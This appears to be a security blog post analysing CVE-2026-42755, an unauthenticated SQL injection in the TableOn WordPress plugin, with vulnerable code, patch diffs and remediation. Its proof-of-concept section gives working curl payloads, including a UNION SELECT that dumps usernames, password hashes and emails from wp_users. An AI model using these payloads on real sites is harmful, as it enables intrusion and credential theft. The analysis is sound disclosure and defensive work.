TableOn – WordPress Posts Table Filterable WordPress plugin banner

CVE-2026-42755: TableOn Unauthenticated SQL Injection (CVSS 7.5)

Updated 7 min read

CVE-2026-42755 is a CVSS 7.5 (High) severity unauthenticated SQL injection vulnerability in the TableOn – WordPress Posts Table Filterable WordPress plugin. Any visitor can send a crafted AJAX request to inject SQL and extract sensitive data from the database, including WordPress user credentials.

Vulnerability Summary

FieldValue
Plugin NameTableOn – WordPress Posts Table Filterable
Plugin Slugposts-table-filterable
CVE IDCVE-2026-42755
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeUnauthenticated SQL Injection
Affected Versions<= 1.0.5.1
Patched Version1.0.6
PublishedMay 30, 2026
Researcherhhhai
Wordfence AdvisoryLink

Description

The TableOn – WordPress Posts Table Filterable plugin is vulnerable to SQL injection in all versions up to and including 1.0.5.1. The plugin does not properly escape user input before embedding it into SQL WHERE clauses. This makes it possible for unauthenticated attackers to append additional SQL queries and extract sensitive information from the database.

The flaw lives in the filter system. When a visitor searches a table by title, excerpt, or content, the plugin takes the search value and places it directly into a raw SQL LIKE clause. Because the value is never escaped, an attacker can break out of the LIKE pattern and inject arbitrary SQL.

Technical Analysis

The Vulnerable AJAX Endpoint

The plugin registers two unauthenticated AJAX handlers in index.php:

// index.php – lines 76–77
add_action('wp_ajax_tableon_get_table_data', array($this, 'get_table_data'));
add_action('wp_ajax_nopriv_tableon_get_table_data', array($this, 'get_table_data'));

The wp_ajax_nopriv_ prefix means the handler is accessible to any visitor, without authentication. The handler get_table_data() accepts any POST request to wp-admin/admin-ajax.php?action=tableon_get_table_data.

How Filter Data Flows Into SQL

Inside get_table_data(), the plugin reads the incoming filter_data parameter and passes it to the filter provider:

// index.php – lines 1071–1158
$filter_data = $request_data['filter_data'];
if (!is_array($filter_data)) {
    $filter_data = json_decode(html_entity_decode(stripslashes($request_data['filter_data'])), ARRAY_N);
}

// ...
$this->filter->provider($filter_data);

The filter provider (filter.php) loops over each key in $filter_data and calls the matching field’s get_filter_query_args callback. For the post_title field, the callback is defined in profiles/default/default.php:

// profiles/default/default.php – lines 505–529 (vulnerable version)
'get_filter_query_args' => function ($args, $value) use ($shortcode_args) {

    $value = trim(TABLEON_HELPER::strtolower($value));

    if (!empty($value)) {

        add_filter('posts_where', function ($where = '') use ($args, $value) {
            $sql = "";

            if (isset($args['tableon_text_search_by']) AND !empty($args['tableon_text_search_by'])) {
                $sql = " AND (";
                foreach ($args['tableon_text_search_by'] as $field) {
                    $sql .= "LOWER({$field}) LIKE '%{$value}%' OR ";
                }
                $sql = trim($sql, ' OR ');
                $sql .= ")";
            }

            $where .= $sql;
            return $where;
        }, 101);
    }

    return $args;
},

The $value variable holds the attacker-controlled search string. It is lowercased with mb_strtolower() but not escaped against SQL characters. The string is then embedded directly into the SQL WHERE clause:

LOWER(post_title) LIKE '%<ATTACKER_VALUE>%'

This pattern is vulnerable to SQL injection.

The Same Flaw in Three Fields

The same mistake exists for three filter fields:

FieldVulnerable Code
post_title"LOWER({$field}) LIKE '%{$value}%' OR "
post_excerpt" AND LOWER(post_excerpt) LIKE '%{$value}%'"
post_content" AND LOWER(post_content) LIKE '%{$value}%'"

The comment_count filter has an additional issue. It embeds range values without any integer casting:

// Vulnerable
$where .= "  AND (comment_count >= {$value[0]} AND comment_count <= {$value[1]})";

Why Sanitization Does Not Protect This Code

The plugin passes all $_REQUEST data through TABLEON_HELPER::sanitize_array(), which calls WordPress’s sanitize_text_field(). This function strips HTML tags and control characters, but it does not escape single quotes, percent signs, or SQL-specific characters. A payload like ' UNION SELECT ... passes through unchanged.

When filter_data is sent as a JSON string (not a form array), sanitize_array() sees a plain string and returns it without modification. The JSON is then decoded and the inner values are never sanitized at all.

Proof of Concept

Disclaimer: This proof of concept is provided for educational purposes only. Use it only on systems you own or have explicit written permission to test.

Prerequisites:

  • WordPress site with the TableOn plugin installed and activated, version <= 1.0.5.1
  • The plugin must be configured to show a table on at least one public page (the AJAX endpoint is always active once the plugin is loaded)

Step 1: Time-based blind injection to confirm the vulnerability

# A 5-second delay confirms the SQL injection is active
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=tableon_get_table_data" \
  -d "wp_columns_actions=tableon_default_tables" \
  -d "fields=post_title" \
  -d "post_type=post" \
  -d "orderby=id" \
  -d "order=desc" \
  -d "per_page=1" \
  -d "current_page=0" \
  -d "filter_provider=default" \
  -d "predefinition=e30=" \
  -d "shortcode_args_set=e30=" \
  --data-urlencode "filter_data={\"post_title\":\"%' AND SLEEP(5)-- -\"}"

If the response takes approximately 5 seconds, the injection is confirmed.

Step 2: Extract admin credentials using UNION-based injection

# Step 2a: Determine the number of columns in the main SELECT
# Try increasing column counts until no error
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=tableon_get_table_data" \
  -d "wp_columns_actions=tableon_default_tables" \
  -d "fields=post_title" \
  -d "post_type=post" \
  -d "orderby=id" \
  -d "order=desc" \
  -d "per_page=1" \
  -d "current_page=0" \
  -d "filter_provider=default" \
  -d "predefinition=e30=" \
  -d "shortcode_args_set=e30=" \
  --data-urlencode "filter_data={\"post_title\":\"%' AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -\"}"

# Step 2b: Once column count is known, extract credentials
# The rows array in the response will contain the injected data
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=tableon_get_table_data" \
  -d "wp_columns_actions=tableon_default_tables" \
  -d "fields=post_title" \
  -d "post_type=post" \
  -d "orderby=id" \
  -d "order=desc" \
  -d "per_page=10" \
  -d "current_page=0" \
  -d "filter_provider=default" \
  -d "predefinition=e30=" \
  -d "shortcode_args_set=e30=" \
  --data-urlencode "filter_data={\"post_title\":\"%' AND 1=2 UNION SELECT user_login,user_pass,user_email,1,1,1,1,1,1,1 FROM wp_users-- -\"}"

Expected result: The JSON response includes a rows array. With a successful UNION injection, the rows contain database data from wp_users (usernames, hashed passwords, email addresses) rather than actual post data.

Step 3: Verify the fix is in place

On a patched site (version 1.0.6), the same request returns normal post data or an empty result. No error is triggered and the SLEEP command does not cause a delay.

Patch Analysis

Version 1.0.6 fixes all four vulnerable locations in profiles/default/default.php. The key change is adding $wpdb->esc_like() to escape LIKE wildcards and wrapping the full clause in $wpdb->prepare():

// post_title filter – before
-    $sql .= "LOWER({$field}) LIKE '%{$value}%' OR ";
// post_title filter – after
+    $like = '%' . $wpdb->esc_like($value) . '%';
+    $sql .= $wpdb->prepare("LOWER({$field}) LIKE %s OR ", $like);
// post_excerpt filter – before
-    $where .= "  AND LOWER(post_excerpt) LIKE '%{$value}%'";
// post_excerpt filter – after
+    $like = '%' . $wpdb->esc_like($value) . '%';
+    $where .= $wpdb->prepare(" AND LOWER(post_excerpt) LIKE %s", $like);
// post_content filter – before
-    $where .= "  AND LOWER(post_content) LIKE '%{$value}%'";
// post_content filter – after
+    $like = '%' . $wpdb->esc_like($value) . '%';
+    $where .= $wpdb->prepare(" AND LOWER(post_content) LIKE %s", $like);
// comment_count filter – before
-    $where .= "  AND (comment_count >= {$value[0]} AND comment_count <= {$value[1]})";
// comment_count filter – after
+    $where .= " AND (comment_count >= " . intval($value[0]) . " AND comment_count <= " . intval($value[1]) . ")";

$wpdb->esc_like() escapes LIKE wildcard characters (% and _) so they are treated as literal characters. $wpdb->prepare() then uses parameterized query syntax to prevent SQL injection. For the comment_count filter, intval() ensures only integers can reach the SQL query.

The fix addresses the root cause: user-supplied values are now properly parameterized before being embedded in SQL.

Timeline

DateEvent
May 1, 2026Patched version 1.0.6 released by plugin author
May 30, 2026Vulnerability publicly disclosed by Wordfence
June 7, 2026This blog post published

Remediation

Update the TableOn – WordPress Posts Table Filterable plugin to version 1.0.6 or later immediately.

  1. Go to WordPress Admin → Plugins → Installed Plugins
  2. Find TableOn – WordPress Posts Table Filterable
  3. Click Update Now

Alternatively, download the latest version from wordpress.org/plugins/posts-table-filterable/.

References

  1. Wordfence Advisory
  2. CVE-2026-42755 on cve.org
  3. Patchstack Advisory
  4. Plugin Changeset (1.0.5.1 → 1.0.6)
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee